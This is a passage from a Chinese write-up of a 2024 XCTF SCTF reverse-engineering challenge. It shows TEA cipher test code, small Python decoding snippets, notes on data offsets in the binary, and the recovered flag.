// uint32_t v[2] = {(0x44332211), (0x88776655)};
tea_enc(v, key);
printf("0x%x, 0x%x\n", b2l(v[0]), b2l(v[1]));
printf("0x%x, 0x%x\n", (v[0]), (v[1]));
tea_dec(v, key);
printf("0x%x, 0x%x\n", v[0], v[1]);
return 0;
}
1
2
3
4
5
6
7
8
9
10
11
a = [0x01, 0x13, 0x02, 0x96, 0x88, 0x00, 0x12, 0xB0, 0x14, 0xA6, 0x91, 0xFE, 0xB9, 0xD7, 0x41, 0xAF, 0x82, 0xCC, 0x4E, 0xE9, 0x47, 0x47, 0x28, 0x4F, 0xD1, 0x42, 0x10, 0x52, 0x01, 0x58, 0x90, 0xD0, 0x03, 0x00, 0x90, 0xD0, 0x03, 0x02, 0x18, 0x01,]

print(bytes(a[::-1]).hex())

from pwn import *
import functools
a = [0x6e8a4a60, 0x67b1ac9d]
a = list(map(p32, a))
a = functools.reduce(lambda x, y: x + y, a)
print(a)
print(a.hex())

四个一组

前三个是最后一个的三个参数

重点看第一组

0810004C 这个函数

byte_20000000 这个是第二个参数

回到这里

这里的第二个参数是 byte_200000A8

好巧不巧,我自己编译写了一下

这个 14 a6 的位置刚好距离 byte_20000000+0xA8

SCTF{W0L000043MB541337}


2024 XCTF 联赛 SCTF 题解

http://s1um4i.com/2024-SCTF/

作者

S1uM4i

发布于

2024-10-01

更新于

2024-10-01

许可协议

评论